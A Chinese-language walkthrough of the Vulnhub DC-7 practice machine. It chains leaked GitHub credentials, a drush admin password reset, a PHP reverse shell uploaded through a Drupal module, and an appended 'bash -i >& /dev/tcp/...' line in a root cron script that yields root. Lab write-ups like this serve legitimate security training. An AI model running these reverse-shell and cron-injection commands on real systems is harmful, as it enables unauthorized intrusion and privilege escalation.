Vulnhub-DC-7

此次的训练以 Drupal 为主题,并且思考方式不再是单纯的在盒子里,而是要跳出去…
扫描整获取目标 IP :nmap -sn 192.168.67.0/24
扫描目标获取相应信息:nmap -A -p- 192.168.67.242 --> 22 | 80

22 SSH 服务 || 80 HTTP 服务,猜测后面极有可能要用到 SSH 服务…查阅 http://192.168.67.242,CMS 是 Drupal,版本为 8,没有找到关于该版本的相关漏洞利用
初步浏览页面,说是引入了新的概念,需要到盒子外边去寻找线索,盒子外边?意思是不在这个站,要到别处去?要到哪里去呢?细心观察你会发现在初始界面的左下方有这么一个东西:

Vulnhub-DC-7

再次引出,思考盒子外边?遇事不决问谷歌,其次问github,百度和必应,既然谷歌大哥不在家,那就问问github,在github找到了一些小东西:

Vulnhub-DC-7

点进去看看,哇,config 配置文件香香的,迫不及待查看一下:

Vulnhub-DC-7

得到用户名和密码:
$username = "dc7user";
$password = "MdR3xOgB7#dW";
尝试用 ssh 登陆,登陆成功

ssh [email protected]
MdR3xOgB7#dW
ls
cd backups
ls
cd ..
cat mbox

发现 Email 版本是 4.89,看下该版本有无可疑提权的
searchsploit Exim local

Vulnhub-DC-7

发现有一个,传过去(方法有很多)
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /root/
scp 46996.sh [email protected]:/tmp/k.sh
cd /tmp
bash k.sh
但是报错,好吧,看看mbox还有没有没发现的东西:
从上到下,可以看到时间为 17:00 || 17:15 || 17:30 …
可以看出是隔 15 分钟就会执行一个文件[定时任务],而且,是以 root 身份权限执行~,那么路子肯定也就在这里了。去查看一下改执行文件
cat /opt/scripts/backups.sh
看着名字也大概了解是一个备份,看下该文件的权限:

Vulnhub-DC-7

可以看到属主和属组的权限是 7 而其他没有写权限,那就要想办法以属主或属组身份进入系统,但是不知道密码,想着能不能通过数据库修改一下网页密码,然后在Drupal 系统后台上传一个有漏洞的插件?或者可以直接利用的插件?这就拿到了属组身份
cat /var/www/html/sites/default/settings.php

Vulnhub-DC-7

mysql -u db7user -p登陆数据库
show tables;
use d7db;
show tables;
select * from users;
但是,但是,我没有看到密码字段???又把其它关于 users 的表查了个遍…木有
好吧,看看还有没有其它方法…此路不通走彼路
Drupal 是不是有一些特性是不知道的,一般来说做开发,为了提升效率,可以直接命令行来管理,Drupal有这种东西吗?
还真有,叫做 drush,查看帮助,这里需要注意的一个地方就是,需要到该站的主目录即:/var/www/html/ 下才可以执行drush

cd /var/www/html/
drush -h --> 说是输入 drush 查看全部命令,这里还需要说明一下,输错 5 次密码会被暂时封 IP
drush user-password admin --password="123"
登陆一下后台:admin 123,上传一个插件,下载地址在这里:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
点击 Extend --> Install new module – > Browser 选择文件 --> install 上传即可

Vulnhub-DC-7

Vulnhub-DC-7

将其打开后上传一个 php 反弹shell,
Vulnhub-DC-7

kali:cp /usr/share/webshells/php/php-reverse-shell.php /root/
kali:nc -vnlp 2333
修改反弹 shell 中的内容:
Vulnhub-DC-7

复制到content:
Vulnhub-DC-7
Vulnhub-DC-7
点击 save :[注意 Text format 要选择 “PHP code”],即可获取反弹 shell

id --> www-data
python -c 'import pty;pty.spawn("/bin/bash")'

写入反弹 shell 等待 15 分钟,获取 root 权限
echo "bash -i >& /dev/tcp/192.168.67.221/6789 0>&1" >> /opt/scripts/backups.sh

kali这边需要侦听 6789 端口:
nc -vnlp 6789
id
cd /root
ls
cat theflag.txt

Vulnhub-DC-7

总结:
1.盒子外思考2.对常见的CMS要深入了解3.数据库改密4.善用搜索引擎5.软件版本漏洞利用6.细心观察[mbox]7.插件利用8.上传shell9.简单的 shell 编写 [bash -i >& /dev/tcp/192.168.67.221/6789 0>&1]10.linux 权限11.linux 定时任务